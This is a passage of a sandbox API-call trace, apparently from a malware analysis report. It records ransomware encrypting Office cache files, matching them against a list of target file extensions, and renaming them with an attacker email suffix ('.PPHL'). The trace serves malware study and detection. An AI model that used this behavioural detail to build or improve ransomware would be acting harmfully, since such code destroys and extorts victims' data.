nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x376fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e70058*, lpNumberOfBytesRead=0x376fc38*=0x40000, lpOverlapped=0x0) returned 1 [0066.555] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.555] WriteFile (in: hFile=0x1b0, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x376fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x376fcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0066.910] SetEndOfFile (hFile=0x1b0) returned 1 [0066.911] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40000) returned 0x3f41f88 [0066.915] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fc7c | out: lpNewFilePointer=0x0) returned 1 [0066.915] WriteFile (in: hFile=0x1b0, lpBuffer=0x3f41f88*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x376fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f41f88*, lpNumberOfBytesWritten=0x376fc88*=0x40000, lpOverlapped=0x0) returned 1 [0066.916] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xcd4aa, lpNewFilePointer=0x0, dwMoveMethod=0x376fc7c | out: lpNewFilePointer=0x0) returned 1 [0066.916] WriteFile (in: hFile=0x1b0, lpBuffer=0x3f41f88*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x376fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f41f88*, lpNumberOfBytesWritten=0x376fc88*=0x40000, lpOverlapped=0x0) returned 1 [0066.923] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x227e00, lpNewFilePointer=0x0, dwMoveMethod=0x376fc7c | out: lpNewFilePointer=0x0) returned 1 [0066.923] WriteFile (in: hFile=0x1b0, lpBuffer=0x3f41f88*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x376fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f41f88*, lpNumberOfBytesWritten=0x376fc88*=0x40000, lpOverlapped=0x0) returned 1 [0066.926] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3f41f88 | out: hHeap=0x5d0000) returned 1 [0066.926] CloseHandle (hObject=0x1b0) returned 1 [0067.509] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0067.510] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0067.510] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0067.510] lstrlenW (lpString=".doc") returned 4 [0067.510] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0067.510] lstrlenW (lpString=".docx") returned 5 [0067.510] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0067.510] lstrlenW (lpString=".pdf") returned 4 [0067.510] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0067.510] lstrlenW (lpString=".xls") returned 4 [0067.510] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0067.510] lstrlenW (lpString=".xlsx") returned 5 [0067.510] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0067.510] lstrlenW (lpString=".ppt") returned 4 [0067.510] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0067.510] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0067.510] lstrlenW (lpString=".zip") returned 4 [0067.510] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0067.510] lstrlenW (lpString=".rar") returned 4 [0067.510] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0067.510] lstrlenW (lpString=".bz2") returned 4 [0067.510] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0067.510] lstrlenW (lpString=".7z") returned 3 [0067.510] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0067.510] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0067.510] lstrlenW (lpString=".dbf") returned 4 [0067.510] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0067.510] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0067.510] lstrlenW (lpString=".1cd") returned 4 [0067.510] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0067.510] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0067.510] lstrlenW (lpString=".jpg") returned 4 [0067.510] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0067.511] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0067.511] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0067.511] lstrlenW (lpString=".doc") returned 4 [0067.511] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0067.511] lstrlenW (lpString=".docx") returned 5 [0067.511] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0067.511] lstrlenW (lpString=".pdf") returned 4 [0067.511] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0067.511] lstrlenW (lpString=".xls") returned 4 [0067.511] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0067.511] lstrlenW (lpString=".xlsx") returned 5 [0067.511] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0067.511] lstrlenW (lpString=".ppt") returned 4 [0067.511] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0067.511] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0067.511] lstrlenW (lpString=".zip") returned 4 [0067.511] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0067.511] lstrlenW (lpString=".rar") returned 4 [0067.511] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0067.511] lstrlenW (lpString=".bz2") returned 4 [0067.511] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0067.511] lstrlenW (lpString=".7z") returned 3 [0067.511] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0067.511] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0067.511] lstrlenW (lpString=".dbf") returned 4 [0067.511] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0067.511] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0067.511] lstrlenW (lpString=".1cd") returned 4 [0067.511] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0067.511] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0067.511] lstrlenW (lpString=".jpg") returned 4 [0067.511] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0067.512] lstrcmpiW (lpString1=".msi", lpString2=".PPHL") returned -1 [0067.512] lstrlenW (lpString="Proof.msi") returned 9 [0067.512] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0067.512] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x376ff1c | out: lpFileSize=0x376ff1c*=875520) returned 1 [0067.512] CloseHandle (hObject=0x1b0) returned 1 [0067.512] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi")) returned 0x2020 [0067.512] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0067.512] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0067.512] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec8 | out: lpNewFilePointer=0x0) returned 1 [0067.512] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec8 | out: lpNewFilePointer=0x0) returned 1 [0067.512] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0067.513] GetLastError () returned 0x0 [0067.513] ReadFile (in: hFile=0x1b0, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x376fed4*=0xd5c00, lpOverlapped=0x0) returned 1 [0067.544] WriteFile (in: hFile=0x1f4, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xd5c10, lpNumberOfBytesWritten=0x376fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x376fc9c*=0xd5c10, lpOverlapped=0x0) returned 1 [0068.001] ReadFile (in: hFile=0x1b0, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x376fed4*=0x0, lpOverlapped=0x0) returned 1 [0068.001] WriteFile (in: hFile=0x1f4, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x376fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x376fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0068.001] SetEndOfFile (hFile=0x1f4) returned 1 [0068.001] CloseHandle (hObject=0x1f4) returned 1 [0068.011] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec8 | out: lpNewFilePointer=0x0) returned 1 [0068.011] SetEndOfFile (hFile=0x1b0) returned 1 [0068.019] CloseHandle (hObject=0x1b0) returned 1 [0068.019] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0068.020] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi")) returned 1 [0068.020] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0068.020] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0068.020] lstrlenW (lpString=".doc") returned 4 [0068.020] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0068.020] lstrlenW (lpString=".docx") returned 5 [0068.020] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0068.020] lstrlenW (lpString=".pdf") returned 4 [0068.020] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0068.020] lstrlenW (lpString=".xls") returned 4 [0068.020] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0068.020] lstrlenW (lpString=".xlsx") returned 5 [0068.020] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0068.020] lstrlenW (lpString=".ppt") returned 4 [0068.020] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0068.020] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0068.020] lstrlenW (lpString=".zip") returned 4 [0068.020] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0068.020] lstrlenW (lpString=".rar") returned 4 [0068.020] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0068.020] lstrlenW (lpString=".bz2") returned 4 [0068.020] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0068.020] lstrlenW (lpString=".7z") returned 3 [0068.020] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0068.021] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0068.021] lstrlenW (lpString=".dbf") returned 4 [0068.021] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0068.021] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0068.021] lstrlenW (lpString=".1cd") returned 4 [0068.021] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0068.021] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0068.021] lstrlenW (lpString=".jpg") returned 4 [0068.021] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0068.021] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0068.021] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0068.021] lstrlenW (lpString=".doc") returned 4 [0068.021] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0068.021] lstrlenW (lpString=".docx") returned 5 [0068.021] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0068.021] lstrlenW (lpString=".pdf") returned 4 [0068.021] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0068.021] lstrlenW (lpString=".xls") returned 4 [0068.021] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0068.021] lstrlenW (lpString=".xlsx") returned 5 [0068.021] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0068.021] lstrlenW (lpString=".ppt") returned 4 [0068.021] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0068.021] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0068.021] lstrlenW (lpString=".zip") returned 4 [0068.021] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0068.021] lstrlenW (lpString=".rar") returned 4 [0068.021] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0068.021] lstrlenW (lpString=".bz2") returned 4 [0068.021] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0068.021] lstrlenW (lpString=".7z") returned 3 [0068.021] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0068.022] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0068.022] lstrlenW (lpString=".dbf") returned 4 [0068.022] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0068.022] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0068.022] lstrlenW (lpString=".1cd") returned 4 [0068.022] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0068.022] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0068.022] lstrlenW (lpString=".jpg") returned 4 [0068.022] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0068.022] lstrcmpiW (lpString1=".cab", lpString2=".PPHL") returned -1 [0068.022] lstrlenW (lpString="Proof.cab") returned 9 [0068.022] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0068.298] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x376ff1c | out: lpFileSize=0x376ff1c*=13642474) returned 1 [0068.298] CloseHandle (hObject=0x204) returned 1 [0068.299] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab")) returned 0x2020 [0068.299] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0068.299] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 1 [0068.387] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0068.387] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fc6c | out: lpNewFilePointer=0x0) returned 1 [0068.388] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fc2c | out: lpNewFilePointer=0x0) returned 1 [0068.388] ReadFile (in: hFile=0x204, lpBuffer=0x3df0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x376fc38, lpOverlapped=0x0 | out: lpBuffer=0x3df0058*, lpNumberOfBytesRead=0x376fc38*=0x40000, lpOverlapped=0x0) returned 1 [0068.640] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x4563a3, lpNewFilePointer=0x0, dwMoveMethod=0x376fc2c | out: lpNewFilePointer=0x0) returned 1 [0068.641] ReadFile (in: hFile=0x204, lpBuffer=0x3e30058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x376fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e30058*, lpNumberOfBytesRead=0x376fc38*=0x40000, lpOverlapped=0x0) returned 1 [0068.708] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x376fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0068.708] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0xcc2aea, lpNewFilePointer=0x0, dwMoveMethod=0x376fc2c | out: lpNewFilePointer=0x0) returned 1 [0068.708] ReadFile (in: hFile=0x204, lpBuffer=0x3e70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x376fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e70058*, lpNumberOfBytesRead=0x376fc38*=0x40000, lpOverlapped=0x0) returned 1 [0068.810] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec8 | out: lpNewFilePointer=0x0) returned 1 [0068.810] WriteFile (in: hFile=0x204, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x376fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x376fcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0068.823] SetEndOfFile (hFile=0x204) returned 1 [0068.823] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40000) returned 0x3f41f88 [0069.026] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fc7c | out: lpNewFilePointer=0x0) returned 1 [0069.026] WriteFile (in: hFile=0x204, lpBuffer=0x3f41f88*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x376fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f41f88*, lpNumberOfBytesWritten=0x376fc88*=0x40000, lpOverlapped=0x0) returned 1 [0069.081] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x4563a3, lpNewFilePointer=0x0, dwMoveMethod=0x376fc7c | out: lpNewFilePointer=0x0) returned 1 [0069.081] WriteFile (in: hFile=0x204, lpBuffer=0x3f41f88*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x376fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f41f88*, lpNumberOfBytesWritten=0x376fc88*=0x40000, lpOverlapped=0x0) returned 1 [0069.083] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0xcc2aea, lpNewFilePointer=0x0, dwMoveMethod=0x376fc7c | out: lpNewFilePointer=0x0) returned 1 [0069.083] WriteFile (in: hFile=0x204, lpBuffer=0x3f41f88*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x376fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f41f88*, lpNumberOfBytesWritten=0x376fc88*=0x40000, lpOverlapped=0x0) returned 1 [0069.085] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3f41f88 | out: hHeap=0x5d0000) returned 1 [0069.085] CloseHandle (hObject=0x204) returned 1 [0071.150] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0071.150] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0071.150] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0071.150] lstrlenW (lpString=".doc") returned 4 [0071.150] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0071.150] lstrlenW (lpString=".docx") returned 5 [0071.150] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0071.150] lstrlenW (lpString=".pdf") returned 4 [0071.150] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0071.150] lstrlenW (lpString=".xls") returned 4 [0071.150] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0071.150] lstrlenW (lpString=".xlsx") returned 5 [0071.150] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0071.150] lstrlenW (lpString=".ppt") returned 4 [0071.150] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0071.150] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0071.150] lstrlenW (lpString=".zip") returned 4 [0071.150] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0071.150] lstrlenW (lpString=".rar") returned 4 [0071.150] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0071.150] lstrlenW (lpString=".bz2") returned 4 [0071.150] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0071.150] lstrlenW (lpString=".7z") returned 3 [0071.151] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0071.151] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0071.151] lstrlenW (lpString=".dbf") returned 4 [0071.151] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0071.151] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0071.151] lstrlenW (lpString=".1cd") returned 4 [0071.151] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0071.151] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0071.151] lstrlenW (lpString=".jpg") returned 4 [0071.151] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0071.151] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0071.151] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0071.151] lstrlenW (lpString=".doc") returned 4 [0071.151] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0071.151] lstrlenW (lpString=".docx") returned 5 [0071.151] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0071.151] lstrlenW (lpString=".pdf") returned 4 [0071.151] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0071.151] lstrlenW (lpString=".xls") returned 4 [0071.151] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0071.151] lstrlenW (lpString=".xlsx") returned 5 [0071.151] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0071.151] lstrlenW (lpString=".ppt") returned 4 [0071.151] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0071.151] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0071.151] lstrlenW (lpString=".zip") returned 4 [0071.151] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0071.151] lstrlenW (lpString=".rar") returned 4 [0071.151] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0071.151] lstrlenW (lpString=".bz2") returned 4 [0071.151] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0071.151] lstrlenW (lpString=".7z") returned 3 [0071.151] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0071.151] lstrlenW (lpString="C:\\MSOCache\\All 